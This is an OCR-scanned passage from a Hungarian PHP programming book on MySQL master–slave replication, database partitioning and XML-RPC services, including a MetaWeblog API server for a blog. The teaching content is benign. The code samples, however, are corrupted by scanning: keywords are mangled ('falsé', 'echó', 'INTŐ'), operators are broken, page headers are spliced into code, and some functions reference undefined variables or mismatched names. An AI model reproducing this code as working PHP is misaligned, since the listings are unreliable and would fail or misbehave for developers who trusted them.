Ha adatbázis-kiszolgálónk nagymértékben kihasználja a CPU erőforrásait (ami gyakran


a helytelen SQL kódolás ékes bizonyítéka), egy fürtözött rendszer teljesítménynövekedést
eredményezhet, de a többmesteres fürthasználat általában nem a várt eredményt adja.
Ez persze nem azt jelenti, hogy az ilyen rendszereknek nincs létjogosultságuk. Használa-
tuk a magas rendelkezésre állású megoldások esetében nagy segítség lehet.

Marad tehát a mester-szolga többszörözés. Itt kevesebb technikai kihívással kell szembe-
néznünk, mint a mester-mester megoldásnál, és jelentős sebességnövekedést érhetünk el.
Nagy különbség a mester—mester és a mester—szolga rendszerek között, hogy az előbbi-
nek globális összhangra van szüksége, vagyis az adatbázis minden adatának tökéletesen
összhangban kell lennie a többiekkel. A mester-szolga többszörözés esetében a frissíté-
420 PHP fejlesztés felsőfokon

sek sokszor nem is valós idejűek. így például a frissítések mind a MySQL többszörözésé-
ben, mind az Oracle pillanatfelvétel alapú többszörözésében az adatváltoztatásoktól eltérő
időben történnek meg.

Mindkét esetben lehetőségünk van arra, hogy szigorúan szabályozzuk az elavultság meg-
engedett mértékét, de még az enyhén elavult adatok használatának lehetővé tétele is je-
lentős terheléscsökkenést eredményezhet.

A mester—szolga adatbázisok legjelentősebb korlátozása, hogy el kell választanunk a csak


olvasási és az írási műveleteket.

A 15.9- ábrán MySQL kiszolgálók egy fürtjét láthatjuk, amely a mester—szolga többszörö-
zésre épül. Az alkalmazás adatokat olvashat a szolgakiszolgálók bármelyikéből, de
a többszörözött táblák frissítését a mesterkiszolgálóra kell küldenie.

15.9. ábra
A MySQL mester-szolga többszörözésének áttekintése.

Mindazonáltal e téren a MySQL mellett más segítségre is számíthatunk. Számos adatbázis-


ban beépített lehetőségeink vannak akár az egész adatbázis, akár egyes táblák többszörö-
15. fejezet • Elosztott környezet kiépítése 421

zésére. Az Oracle-ben például ezt megtehetjük pillanatfelvételek vagy valódi nézettáblák


(materialized view)segítségével. Saját relációs adatbázis-kezelőnk lehetőségeiről tájéko-
zódjunk a leírásában, vagy kérdezzük meg adatbázis-felügyelő kollégáinkat.

A mester-szolga többszörözés alapja, hogy az írási műveleteket átküldjük, majd alkalmaz-


zuk minden érintett gépen. Olyan alkalmazásokban, amelyek nagy mennyiségű egyidejű ol-
vasási és írási műveletet tartalmaznak, a működés lelassulhat (az olvasott adatok épségének
biztosítása miatt). Ezért hát a mester-szolga többszörözés legjobban olyan helyzetekben al-
kalmazható, amikor az olvasási műveletek adatmennyisége meghaladja az írási műveletekét.

Mester-szolga rendszerekre épülő alkalmazások készítése


A MySQL 4.l-es és későbbi változataiban beépített függvényeket találhatunk, melyek ké-
pesek elosztani lekérdezéseinket mester-szolga rendszerekben. Megvalósításuk a MySQL
ügyfélkönyvtárainak szintjén történik, ami meglehetősen hatékony eszközzé teszi őket.
Ahhoz, hogy használatba vegyük e függvényeket a PHP-ben, az új mysqli bővítményt
kell alkalmaznunk, amely megszakítja a visszamenőleges megfelelést a mysql bővítmény-
nek, és nem támogatja a MySQL 4.1 előtti változatait.

Ha úgy gondoljuk, a lekérdezések kiosztását teljesen automatikusra is állíthatjuk:

$dbh = mysqli_init();
mysqli_real_connect($dbh, $host, $user, $password, $dbname);
mysqli_rpl_parse_enable($dbh);
// a lekérdezések szokásos előkészítése és végrehajtása

Amysql_rpl_parse_enable () függvény arra utasítja az ügyfélkönyvtárakat, hogy au-


tomatikusan határozzák meg, hogy a lekérdezés egy szolgához kerüljön, vagy a mester
szolgálja ki.

Mindazonáltal az automatikus felismerésre nem igazán érdemes hagyatkoznunk. Fejlesz-


tőként sokkal jobb rálátásunk van arra, hogy melyik lekérdezést miként kell kiszolgálni,
mint az automatikus módszereknek. A mysqli felület természetesen ez esetben is jó szol-
gálatot tesz. Amennyiben egyetlen erőforrással dolgozunk, szintén megadhatjuk, hogy
egy lekérdezés végrehajtása egy szolgán vagy a mesteren történjen:

$dbh = mysqli_init();
mysqli_real_connect($dbh, $host, $user, $password, $dbname);
mysqli_slave_query($dbh, $readonly_query);
mysqli_master_query($dbh, $write_query);
422 PHP fejlesztés felsőfokon

Persze elrejthetjük ezeket az eljárásokat burkolóosztályokban is. Ha 4. l-esnél régebbi


MySQL-t vagy más olyan adatbázis-kezelő rendszert használunk, ami nem támogatja tökéle-
tesen az automatikus lekérdezéselosztást, ezt a felületet a burkolóosztályban is utánozhatjuk:
class Mysql_Replicated extends DB_Mysql {
protected $slave_dbhost;
protected $slave_dbname;
protected $slave_dbh;

public function ______construct($user, $pass, $dbhost, $dbname,


$slave_dbhost, $slave_dbname)
{
$this->user = $user;
$this->pass = $pass;
$this->dbhost = $dbhost;
$this->dbname = $dbname;
$this->slave_dbhost = $slave_dbhost;
$this->slave_dbname = $slave_dbname;
}

protected function connect_master() {


$this->dbh = mysql_connect($this->dbhost, $this->user, $this->pass);
mysql_select_db($this->dbname, $this->dbh);
}
protected function connect_slave() {
$this->slave_dbh = mysql_connect($this->slave_dbhost,
$this->user, $this->pass);

mysql_select_db($this->slave_dbname, $this->slave_dbh);
}
protected function _execute($dbh, $query) {
$ret = mysql_query($query, $dbh) ;
if(is_resource($ret)) {
return new DB_MysqlStatement($ret);
}
return falsé;
}
public function master_execute($query) {
if(!is_resource($this->dbh)) {
$this->connect_master();
}
$this->_execute($this->dbh, $query);
}
public function slave_execute($query) {
if(!is_resource($this->slave_dbh)) {
$this->connect_slave();
}
$this->_execute($this->slave_dbh, $query);
}
}
15. fejezet • Elosztott környezet kiépítése 423

A lekérdezések automatikus kiosztását az API-ba is beágyazhatjuk, megkísérelve felderíte-


ni, mely leképezések tartalmaznak kizárólag olvasási műveleteket, és melyeket kell a mes-
terhez irányítani. Mindazonáltal az automatikus kiosztás általában kevésbé alkalmas mód-
szer, mint a „kézi" felderítés. Ha nagy kódot szeretnénk többszörözött adatbázisra átírni, az
automatikus szolgáltatások hasznosak lehetnek, de amennyiben időnk és erőforrásaink en-
gedik, jobb, ha a kézi megoldást választjuk.

A többszörözés alternatívái
Amint a fejezet korábbi részében említettük, a mester-szolga többszörözés nem oldja meg
minden adatbázis méretezhetőségi gondjait. Sok írási műveletet tartalmazó alkalmazásnál
a szolgák használatba vétele ronthat a teljesítményen. Ilyenkor a program olyan sajátossá-
gai után kell néznünk, amiket hatékonyan kihasználhatunk.

Ilyen eset lehet például, amikor olyan adatokat találunk, amelyek könnyen részekre bont-
hatók. Ez gyakorlatilag azt jelenti, hogy egy logikai sémát több fizikai adatbázisra osztunk
egy elsődleges kulccsal összekötve. A hatékony részekre bontásnak egyetlen alapszabálya
létezik: mindenféleképpen kerüljük az olyan lekérdezések használatát, amelyek egyszerre
több adatbázist is elérnek.

Az elektronikus levelezőrendszerek nagyszerű példát adnak erre az esetre. A leveleket


csak fogadójuk érheti el, így nem kell aggódnunk amiatt, hogy két címzettet össze kellene
kapcsolnunk. így hát könnyen szétoszthatjuk a leveleket mondjuk négy adatbázis között:

class Email {
public $recipient;
public $sender;
public $body;
/* ... */
}

class PartionedEmailDB {
public $databases;

Most építsük ki a kapcsolatokat az adatbázisokhoz. Itt burkolóosztályokat alkalmazunk,


melyekkel elrejthetjük a kapcsolatok részleteit:

public function___ construct () {


$this->databases[0] = new DB_Mysql_EmailO ;
$this->databases[1] = new DB_Mysql_Emaill;
$this->databases[2] = new DB_Mysql_Email2;
$this->databases[3 ] = new DB_Mysql_Email3;
}
424 PHP fejlesztés felsőfokon

Mind a beillesztésnél, mind a kiolvasásnál kivonatoljuk a fogadó fél azonosítóját annak


meghatározásához, hogy melyik adatbázisban találhatjuk meg a hozzá tartozó leveleket.
Itt a crc32-t alkalmazzuk, mivel gyorsabb, mint más kriptográfiai hasítófüggvények (md5,
shal és így tovább), továbbá azért, mert olyan függvényre van szükségünk, ami a fel-
használókat elosztja az adatbázisok között, és nem kell az erősebb egyirányú hasító-
függvények által nyújtott biztonsági szolgáltatásokra építenünk. íme a beillesztési és kiol-
vasási függvények, amelyek crc32 alapú kivonatoló módszerrel osztják el a terhelést az
adatbázisok között:

public function insertEmail(Email $email) {


$query = "INSERT INTŐ emails
(recipient, sender, body)
VALUES(:1, : 2, : 3 ) " ;
$hash = crc32($email->recipient) % count($this->databases);
$this->databases[$hash]->prepare($query)->execute($email->recipient,
$email->sender, $email->body);
}
public function retrieveEmails($recipient) {
$query = "SELECT * FROM emails WHERE recipient = : 1";
$hash = crc32($email->recipient) % count($this->databases) ;
$result = $this->databases[$hash]->prepare($query)
->execute($recipient);
while($hr = $result->fetch_assoc) {
$retval[] = new Email( $ h r ) ;
}
}

A relációs adatbázis-kezelő rendszerek alternatívái


Fejezetünkben a relációs adatbázisokra épülő rendszerekre összpontosítottunk. Nem sza-
bad azonban abba a tévedésbe esnünk, hogy azt higgyük, minden alkalmazás mögött relá-
ciós adatbázis-kezelők állnak. Sok esetben a programok nem képesek hatékonyan együtt-
működni egy ilyen rendszerrel, így inkább saját alkalmazáskiszolgálókat kell használnunk.

Vegyünk például egy azonnali üzenetküldő szolgáltatást - ez gyakorlatilag egy sorbaállító


rendszert jelent. Működése során a feladók üzenetei egy sorba kerülnek, majd a fogadók
egyszerűen kiveszik azokat ebből a sorból. Mindezt modellezhetjük egy relációs adatbá-
zis-kezelővel, de nem ez a leghatékonyabb módszer. Sokkal jobban járunk, ha kifejezet-
ten e feladat megoldására készítünk egy alkalmazáskiszolgálót.

Ezt bármilyen nyelven megvalósíthatjuk, és olyan protokollal érintkezhetünk vele, amilyen-


nel csak szeretnénk. A 16. fejezetben bemutatunk néhány webszolgáltatás központú proto-
kollt. Emellett azonban magunk is elkészíthetjük saját protokollunkat, és a PHP sockets
bővítménye segítségével alacsony szintű hálózati csatolókon is folytathatunk adatcserét.
15. fejezet • Elosztott környezet kiépítése 425

A PHP alapú alkalmazáskiszolgálók körében érdekes fejlesztés Dériek Rethans SRM pro-
jektje. Az SRM gyakorlatilag egy alkalmazáskiszolgáló környezet, amely egy beágyazott
PHP értelmező köré épül. Az alkalmazásszolgáltatások PHP-ben készültek, és egy csatolt
kommunikációs bővítmény segítségével érintkeznek egymással. Egy maradandó PHP al-
kalmazáskiszolgáló léte a nyelv rugalmasságára szolgáltat újabb bizonyítékot, ami öröm-
mel tölt el minden programozót, aki valamennyire is ad a kód újrahasznosíthatóságára.

További olvasmányok
Jeremy Zawodny honlapján (http: / / j eremy. zawodny. com/mysql /) számos cikket
és előadást találhatunk a MysSQL méretezéséről és a MySQL többszörözésről.

A hardveres terheléskiegyenlítőkről számos cég honlapján találhatunk adatokat, köztük az


alábbiakon:

• Alteon — www.alteon. com


• BiglP-www.f5.com
• Cisco — www. cisco . com
• Foundry — www. foundry.com
• Extrémé Networks - www. extremenetworks . com
• mod_backhand-www.backhand.com

Az előbbi öt cég a piacvezetők közé tartozik, az LVS és a mod_backhand pedig nagysze-


rű terheléskiegyenlítő programok.

Az SRM-ről bővebben a www.vl-srm.net címen olvashatunk.


RPC: Együttműködés távoli szolgáltatásokkal
A távoli eljáráshívási (RPC) szolgáltatások szabványos felületet biztosítanak függvények,
illetve tagfüggvények hálózaton keresztüli hívására.

A webprogramozás szinte minden területén használnak RPC-t. A webböngészőktől


a webkiszolgálók felé küldött HTTP kérelmek is ilyenek, mint ahogy az adatbázis-kiszol-
gálóknak küldött lekérdezések is. Nos, ezek valóban távoli hívások, de nem igazán tekint-
hetők RPC protokollnak. Hiányzik belőlük azok általánossága és szabványossága - így
például a webkiszolgálók és az adatbázisok által használt protokollok nem megoszthatók,
még akkor sem, ha ugyanazon a hálózati szinten bonyolódnak.

Ahhoz, hogy valóban jól használhatóak legyenek, az RPC protokolloknak az alábbi tulaj-
donságokkal kell rendelkezniük:

• Általánosság - Könnyű legyen új, meghívható tagfüggvényekkel kiegészíteni.


• Szabványosság - Biztosítani kell, hogy ha ismert egy tagfüggvény neve és paramé-
terlistája, hívása egyszerűen megvalósítható legyen.
• Könnyű értelmezhetőség - Az RPC visszatérési értéke olyan kell legyen, ami könnyen
átalakítható az alkalmazások megfelelő saját adattípusaira.

Maga a HTTP nem elégíti ki a fentiek egyikét sem, de hihetetlenül kényelmes átviteli réte-
get biztosít az RPC kérelmek küldésére. A webkiszolgálók széles körben elterjedtek, így
ügyes fogás, ha éppen népszerűségükre építünk azzal, hogy a HTTP-t használjuk RPC ké-
relmeink becsomagolására. Az RPC protokollok közül a legismertebbek az XML-PRPC és
a SOAP, melyeket hagyományosan telepítenek a Világhálón - róluk szólunk fejezetünk
további részében.

RPC használata nagy forgalmú webhelyeken

Jóllehet az RPC igen rugalmas eszköz, természeténél fogva lassú. Bármely folyamat,
amely RPC-ket használ, azonnal szembe találja magát a távoli szolgáltatás elérhetőségének
és teljesítményének korlátaival. A legjobb esetben is számíthatunk arra, hogy oldalunk
428 PHP fejlesztés felsőfokon

szolgáltatásának időtartama megduplázódik. Ha pedig bármilyen fennakadás jelentkezik


a távoli végpontnál, a teljes webhely várakozásra kényszerülhet. Ez persze nem jelent ko-
moly gondot felügyeleti vagy kis forgalmú szolgáltatásoknál, de az üzleti, illetve nagy for-
galmú webhelyeknél elfogadhatatlan.

A megoldás a késleltetés és az elérhetőség akadozásának elkerülésére egy olyan gyorstár-


stratégia, amely megszünteti a közvetlen függést a távoli szolgáltatástól. Az RPC hívásokhoz
könnyen alkalmazható gyorstármódszerekről a 1. és a 11. fejezetben már olvashattunk.

XML-RPC
Az XML-RPC minden XML alapú RPC protokoll őse. Alkalmazói leggyakrabban HTTP
POST kérelmekbe és válaszokba ágyazzák be, de - mint azt a 15. fejezetben bemutattuk -
erre a beágyazásra nincs feltétlenül szükség. Az egyszerű XML-RPC kérelmek olyan XML
dokumentumok, melyek az alábbihoz hasonlóan festenek:

<?xml version="l.0" encoding="UTF-8"?>


<methodCall>
<methodName>system.load</methodName>
<params>
</params>
</methodCall>

Ezt a kérelmet a POST módszerrel elküldhetjük az XML-RPC kiszolgálónak, amely megke-


resi és végrehajtja a megadott tagfüggvényt (system. load), átadva a paramétereket (ez
esetben nem adtunk meg egyetlen paramétert sem). Az eredmény végül visszakerül a hí-
vó félhez. Jelen esetben ez a gép aktuális terhelése, melyet a Unix uptime nevű héjpa-
rancsától kaptunk meg. íme egy lehetséges kimenet:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse>
<params>
<param>
<value>
<string>0.34</string>
</value>
</param>
</params>
</methodResponse>

Természetesen ezeket a dokumentumokat nem magunknak kell elkészítenünk és értel-


meznünk. Számos XML-RPC megvalósítás létezik PHP alatt. Jómagam a PEAR XML-RPC
osztályokat kedvelem, mert ezekhez hozzájutunk a PHP-vel (a PEAR telepítő használja
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 429

őket). Következésképpen gyakorlatilag minden rendszeren jelen vannak - így nincs is


igazán okunk, hogy mást keressünk. Az XML-RPC párbeszéd két részből áll: az ügyfél ké-
relméből és a kiszolgáló válaszából.

Beszéljünk előbb az ügyfél kódjáról. Az ügyfél készít egy kérelem dokumentumot, elküldi
a kiszolgálónak, majd értelmezi a kapott választ. Az alábbi kód a korábbiakban látott ké-
relmet készíti el, és értelmezi az erre kapott választ:

require_once 'XML/RPC.php';

$client = new XML_RPC_Client('/xmlrpc.php', 'www.example.com');


$msg = new XML_RPC_Message('system.load1);
$result = $client->send($msg);
if ($result->faultCode()) {
echó "Error\n";
}
print XML_RPC_decode($result->value());

Létrehozunk egy új XML_RPC_Client objektumot, megadva számára a távoli szolgáltatás


URI-jét és címét.

Ezután készítünk egy XML_RPC_Message objektumot, amely tartalmazza a meghívni kí-


vánt tagfüggvény nevét (system. load). Mivel a tagfüggvénynek nem adunk meg para-
métereket, további adatok átadására nincs szükség.

Ezután elküldjük az üzenetet a send () tagfüggvénnyel. Az eredményt előbb megvizsgál-


juk, és ha nem találunk hibát, az XML formátumból a PHP saját változótípusára alakítjuk
az XML_RPC_Decode () segítségével.

Természetesen a kiszolgáló oldalán is szükség van némi kódra, ami fogadja a kérelmet,
megtalálja és végrehajtja a megfelelő visszahívható függvényt, majd visszaküldi a választ,
íme egy lehetséges megoldás, amely kezeli az ügyfél kódjában megadott system. load
tagfüggvényt:

require_once 'XML/RPC/Server.php';

function system_load()
{
$uptime = "uptime";
if(preg_match("/load average: ([\d.]+)/", $uptime, $matches)) {
return new XML_RPC_Response( new XML_RPC_Value($matches[1] ,
'string'));
}
}
430 PHP fejlesztés felsőfokon

$dispatches = array('system.load'
=> array('function'
=> 'system_uptime'));
new XML_RPC_Server($dispatches, 1 );

A PHP függvények megbirkóznak a korábban meghatározott beérkező kérelmekkel.


Magunknak mindössze a system. load kérelemmel kell foglalkoznunk, melynek
a system. load () tagfüggvény hívása felel meg. Ez a Unix uptime parancsát hajtja vég-
re, és az eredményből kiolvassa a gép egyperces átlagos terhelését. Ezután a kapott ada-
tot becsomagolja egy XML_RPC_Value objektumba, majd a visszaküldéshez beburkolja
egy XML_RPC_Response objektumba.

Ezután a visszahívható (callback) függvény rákerül egy kiosztási térképre, amely megha-
tározza, mely függvényekhez rendelje a kiszolgáló az egyes bejövő kérelmeket. A meghí-
vandó függvényekből készítünk egy $dispatches tömböt, amely XML-RPC
tagfüggvényneveket képez le PHP függvényekre. Végezetül létrehozunk egy
XML_RPC_Server objektumot, és átadjuk neki az előzőleg készített kiosztási tömböt.
A második paraméter 1 értéke azt jelzi, hogy a kérelmet azonnal ki kell szolgálni
a service () tagfüggvénnyel (ez egy belső hívás).

A service () megvizsgálja a HTTP POST nyers adatait, megkeresi az XML-RPC kérel-


met, majd a kiosztás alapján elvégzi a függvényhívást. Mivel a tagfüggvény a PHP
$HTTP_RAW_POST_DATA autoglobálisra hivatkozik, semmiképpen sem szabad kikap-
csolnunk a php. ini fájl always_populate_raw_post_data beállítását.

Ha ezek után elhelyezzük a kiszolgálókódot a www. example. com/xmlrpc .php címen,


és egy tetszőleges gépen futtatjuk az ügyfélkódot, az alábbiakat kapjuk vissza:

> php system_load.php


0.34

Vagy valami hasonlót, a terhelésátlagtól függően.

Egy kiszolgáló felépítése: a MetaWeblog API megvalósítása


Az XML-RPC igazi erőssége, hogy szabványos módot ad a szolgáltatások közti adatcseré-
re. Ez különösen akkor hasznos, ha nem tudjuk ellenőrizni a kérelem útjának mindkét ol-
dalát. Az XML-RPC-vel könnyen módot adhatunk arra, hogy bárki érintkezhessen a szol-
gáltatással. Jó példát adnak erre a webnaplóküldési API-k.

Számos webnaplózó rendszer létezik, és rengeteg olyan eszköz, melyek segítenek a hasz-
nálatukban és a bejegyzések küldésében. Ha nem volnának szabványos eljárások, a szé-
leskörű felhasználhatóság érdekében minden eszköznek támogatnia kellene minden
webnaplót, vagy fordítva. Az ilyen kapcsolatrendszer megtartása lehetetlen, ha a benne
részt vevő alkalmazások száma növekszik.
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 431

Jóllehet a webnaplók lehetőségei és megvalósításai változatosak lehetnek, lehetséges


olyan szabványos műveletcsalád meghatározása, melyek a bejegyzések küldését végzik.
A webnaplóknak és az eszközöknek ezek után csak a megfelelő felületet kell megvalósí-
taniuk, és így mindenki mindenkivel együttműködhet.

Dacára a webnaplózó rendszerek nagy számának, mindössze három webnaplóküldési


API terjedt el széles körben: a Blogger API, a MetaWeblog API, valamint a MovableType
API (ami valójában mindössze a MetaWeblog API bővítése). A bejegyzésküldő eszközök e
három protokoll valamelyikét használják az adatátvitelhez, így ha mindegyiküket megva-
lósítjuk, webnaplónk képes lesz fogadni bármely eszköz bejegyzéseit. Mindez nagyszerű
lehetőség arra, hogy egy új webnaplózó rendszert elfogadottá tegyünk.

Természetesen először egy webnaplózó rendszerre van szükség, melyhez ezek az API-k
kapcsolódhatnak. Egy teljes webnaplózó rendszer felépítése meghaladná könyvünk kere-
teit, így hát megelégszünk azzal, hogy egy XML-RPC réteget adunk a Serendipity webnap-
lóhoz. A szóban forgó API-k a bejegyzések küldését intézik, így a Serendipity alábbi eljá-
rásaival kell érintkezniük:
function serendipity_updertEntry($entry) {}
function serendipity_fetchEntry($key, $match) {}

A serendipity_updertEntry () frissít egy bejegyzést, vagy beszúr egy újat, attól füg-
gően, hogy megadtuk-e számára az id változó értékét. A $entry valójában egy tömb,
amely az alábbi adatbázistábla egy általános sorának felel meg (vagyis elemei az oszlopo-
kat adják):

CREATE TABLE serendipity_entries (


id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(2 00) DEFAULT NULL,
timestamp INT(10) DEFAULT NULL,
body TEXT,
author VARCHAR(20) DEFAULT NULL,
isdraft INT
);

A serendipity_f etchEntry () kiolvas egy bejegyzést a táblából a megadott


kulcs-érték pár alapján.

A MetaWeblog API több lehetőséget biztosít, mint a Blogger API, így előbbi megvalósítására
teszünk kísérletet. Tagfüggvényei közül az alábbi három fontosabbat kell megemlítenünk:

metaWeblog.newPost(blogid,username,password,item_struct,publish)
returns string
metaWeblog.editPost(postid,username,password,item_struct,publish)
returns true
metaWeblog.getPost(postid,username,password) returns item_struct
432 PHP fejlesztés felsőfokon

A blogid a megcélzott webnapló azonosítója (ami jól jön, ha a rendszer több webnaplót
is fenntart), a username és a password a küldő azonosítására szolgál, a publish pedig
egy jelző, amely megmondja, hogy a küldött bejegyzés csak vázlat-e, vagy egyenesen me-
het a naplóba.

Az item_struct a küldött adatok tömbje.

Ahelyett, hogy saját formátumot választott volna az adatbevitelhez, Dave Winer, a Meta-
Weblog leírásának szerzője az RSS 2.0 leírás item elemének meghatározását választotta
(ezt megtalálhatjuk a http: //blogs. law.harvard.edu/tech/rss címen). Az RSS
egy szabványosított XML formátum cikkek és naplóbejegyzések közlésére. Az item be-
jegyzése az alábbi elemeket tartalmazza:

A szabvány emellett lehetővé teszi egyéb mezők használatát is - hivatkozásokat megjegy-


zésekre, egyértelmű azonosítókat, valamint kategóriákat. Mindemellett számos webnapló
kibővíti az RSS szabványt, úgy, hogy az tartalmazza a content: encoded elemet is, ami
a teljes küldeményt tárolja, nem csak annak összefoglalóját, melyet hagyományosan az
RSS description elemében találhatunk meg.

A MetaWeblog API megvalósításához a korábban említett három tagfüggvénnyel kell fog-


lalkoznunk. Először nézzük, hogyan küldhetünk új bejegyzéseket:

function metaWeblog_newPost($message) {
$username = $message->params[1]->getval() ;
$password = $message->params[2]->getval() ;
if(!serendípity_authenticate_author($username, $password)) {
return new XML_RPC_Response('', 4, 'Authentication Fa i l ed' );
}
$item_struct = $message->params[3]->getval();
$publish = $message->params[4]->getval() ;
$entry['title'] = $item_struct['title'] ;
$entry['body'] = $item_struct['description'];
$entry['author' ] = $username;
$entry['isdraft' ] = ($publish == 0)?'true' : ' falsé';
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 433

$id = serendipity_updertEntry($entry);
return new XML_RPC_Response( new XML_RPC_Value($i d, 's t r i n g ' ) ) ;
}

A metaWeblog_newPost () kinyeri a kérelemből a username és a password paraméte-


reket, majd kicsomagolja XML alakjukat PHP típusokba a getval () tagfüggvénnyel.
A függvény ezután hitelesíti a megadott felhasználót. Amennyiben ez nem sikerül, vissza-
küld egy üres XML_RPC_Response objektumot egy „Authentication Failed" (Sikertelen
hitelesítés) hibaüzenettel.

Ha a hitelesítés sikeres, a metaWeblog_Post () beolvassa az item_struct paramétert,


és a getval () segítségével kicsomagolja a $item_struct tömbbe. Ebből elkészíti
a Serendipity $entry paraméterét, melyet átad a serendipity_updertEntry () tag-
függvényének. Végül a hívó egy XML_RPC_Response objektumot kap az új bejegyzés
azonosítójával.

A MetaWeblog. editPost háttérkódja igencsak hasonló a MetaWeblog. newPost tag-


függvénynél látottakhoz:

function metaWeblog_editPost($message) {
$postid = $message->params[0 ]->getval();
$username = $message->params[1]->getval();
$password = $message->params[2]->getval();
if(!serendipity_authenticate_author($username, $password)) {
return new XML_RPC_Response('', 4, 'Authentication F a i l e d ' ) ;
}
$item_struct = $message->params[3]->getval();
$publish = $message->params[4]->getval();
$entry['title'] = $item_struct['title'];
$entry['body'] = $item_struct['description1] ;
$entry['author'] = $username;
$ e n t r y[ ' i d ' ] = $postid;
$entry['isdraft'] = ($publish == 0)?'true' : ' falsé';
$id = serendipity_updertEntry($entry);
return new XML_RPC_Response( new XML_RPC_Value($id?true: falsé,
'boolean'));
}

Itt is ugyanazt a hitelesítést végezzük el, elkészítjük a $entry tömböt, és elküldjük a nap-
lónak. Ha a serendipity_updertEntry a $id értékkel tér vissza, működése sikeres
volt, így a válaszban a true értéket adjuk vissza — ha nem volt sikeres, a válaszunk falsé.

Utolsóként a MetaWeblog.getPost megvalósítását kell elkészítenünk. Ez a seren-


dipity_f etchEntry () segítségével hozzájut a bejegyzés adataihoz, és ebből egy, az
item_struct adatokat tartalmazó XML választ készít.
434 PHP fejlesztés felsőfokon

Lássuk, hogy fest a kód:

function metaWeblog_getPost($message) {
$postid = $message->params[0]->getval();
$username = $message->params[1]->getval();
$password = $message->params[2]->getval();
if ( !serendipíty_authenticate_author($username, $password)) {
return new XML_RPC_Response('', 4, 'Authentication Failed');
}
$entry = serendipity_fetchEntry('id', $postid);

$tmp = array(
'pubDate' => new XML_RPC_Value(
XML_RPC_iso8601_encode($entry['timestamp']), 'dateTime.iso8601'),
'postid' => new XML_RPC_Value($postid, 'string'),
'author' => new XML_RPC_Value($entry['author'] , 'string'),
'description' => new XML_RPC_Value($entry['body'] , 'string'),
'title' => new XML_RPC_Value($entry['title'],'string') ,
'link' => new XML_RPC_Value(serendipity_url($postid) , 'string')
);
$entry = new XML_RPC_Value($tmp, ' s t r u c t ' ) ;
return new XML_RPC_Response($entry);
}

Figyeljük meg, hogy a bejegyzés kiolvasása után az item adataiból álló tömböt készítünk.
Az XML_RPC_iso8601 () elvégzi a Serendipity által használt Unix időbélyegző átalakítá-
sát az RSS item által megkövetelt ISO 8601 szabványúra. A kapott tömb ezután becsoma-
golva egy XML_RPC_Value struct-ba kerül. Ez a szabványos módszer arra, hogy XML-
RPC struct típust készítsünk a PHP alaptípusokból.

Az eddigiekben láttunk string, boolean, dateTime . iso8601 és struct azonosító-


kat, melyeket átadhattunk az XML_RPC_Value objektumnak. Érdemes felsorolnunk az
összes lehetőséget:
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 435

A struct és az array típusok bármilyen más típust (köztük további struct, illetve
array elemeket) tartalmazhatnak. Ha nem adunk meg típust, a rendszer automatikusan
a string mellett dönt. Jóllehet a PHP minden adata leírható a string, struct, illetve
az array típusok valamelyikével, más típusok is támogatást kaptak, mivel a más nyelven
írt alkalmazásoknak esetleg jobban meghatározott adattípusokra van szükségük.

A függvények bejegyzéséhez egy kiosztási tömböt készítünk:

$dispatches = array(
metaWeblog.newPost' =>
array('function1 => 'metaWeblog_newPost') ,
'metaWeblog.editPost' =>
array('function' => 'metaWeblog_editPost') ,
'metaWeblog.getPost' =>
array('function1 => 'metaWeblog_getPost' ) ) ;
$server = new XML_RPC_Server($dispatches, 1) ;

Hurrá! Programunk e pillanattól kezdve megfelel a MetaWeblog API-nak!

Az XML-RPC szolgáltatások automatikus felderítése


Hasznos lehet, ha egy felhasználó valamilyen módon adatokat kérhet a kiszolgálótól az
XML-RPC szolgáltatásokra nézve. Erre az XML-RPC három tagfüggvényt is rendelkezé-
sünkre bocsát:

• system. listMethods - Visszaadja a kiszolgáló által megvalósított összes tagfügg-


vény nevét (minden visszahívható függvényt, ami szerepel a kiosztási térképen).
• system.methodSignature - A tagfüggvény neve alapján megadja a lehetséges
prototípusokat.
• system.methodHelp - Fogadja a tagfüggvény nevét, és a leírásával tér vissza.

Mivel a PHP dinamikus nyelv, és nem követeli meg a függvényeknek átadott paraméterek
számának rögzítését, a system.methodSignature által visszaadott adatokat a felhasz-
nálónak kell pontosan meghatároznia. Az XML-RPC tagfüggvényeinek változó paraméte-
rei lehetnek, így a visszatérési érték is egy tömb, amely a lehetséges prototípusokat tartal-
mazza. E prototípusok maguk is tömbök - első elemük a tagfüggvény visszatérési típusa,
ezután pedig a paraméterek típusai következnek.

E kiegészítő adatok tárolására a kiszolgálónak bővítenie kell kiosztási térképét - ezt lát-
hatjuk a metaWeblog.newPost tagfüggvény példáján:
$dispatches = array(
'metaWeblog.newPost' =>
array('function' => 'metaWeblog_newPost' ,
'signature' => array(
array($GLOBALS['XML_RPC_String'],
436 PHP fejlesztés felsőfokon

$GLOBALS['XML_RPC_String'],
$GLOBALS['XML_RPC_String'] ,
$GLOBALS['XML_RPC_String'] ,
$GLOBALS['XML_RPC_Struct'],
$GLOBALS['XML_RPC_String']
)
),
'docstring' => 'Takes blogid, username, password, item_struct '.
'publish_flag and returns the postid of the new entry'),
/* ... */
);

E három tagfüggvény használatával kialakíthatunk egy képet az XML-RPC kiszolgáló szol-


gáltatásairól. Lássunk egy programot, ami egy adott kiszolgálón megadja az összes XML-
RPC tagfüggvény leírását és prototípusát:

<?php
require_once 'XML/RPC.php';
if($argc != 2) {
print "Must specify a url.\n";
exit ;
}
$url = parse_url($argv[l]) ;

$client = new XML_RPC_Client($url['path'] , $url['hőst']);


$msg = new XML_RPC_Message('system.listMethods');
$result = $client->send($msg);
if ($result->faultCode()) {
echó "ErrorAn";
}
$methods = XML_RPC_decode($result->value());
foreach($methods as $method) {
$message = new XML_RPC_Message('system.methodSignature' ,
array(new XML_RPC_Value($method))) ;
$response = $client->send($message)->value();
print "Method $method:\n";
$docstring = XML_RPC_decode(
$client->send(
new XML_RPC_Message('system.methodHelp',
array(new XML_RPC_Value($method) )
)
)->value()
);
if($docstring) {
print "$docstring\n";
}
else {
print "NO DOCSTRING\n";
)
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 437

$response = $client~>send($message)->value();
if ($response->kindOf() == 'array') {
$signatures = XML_RPC_decode($response) ;
for($i = 0; $i < count($signatures) ; $i + + ) {
$return = array_shift($signatures[$i] ) ;
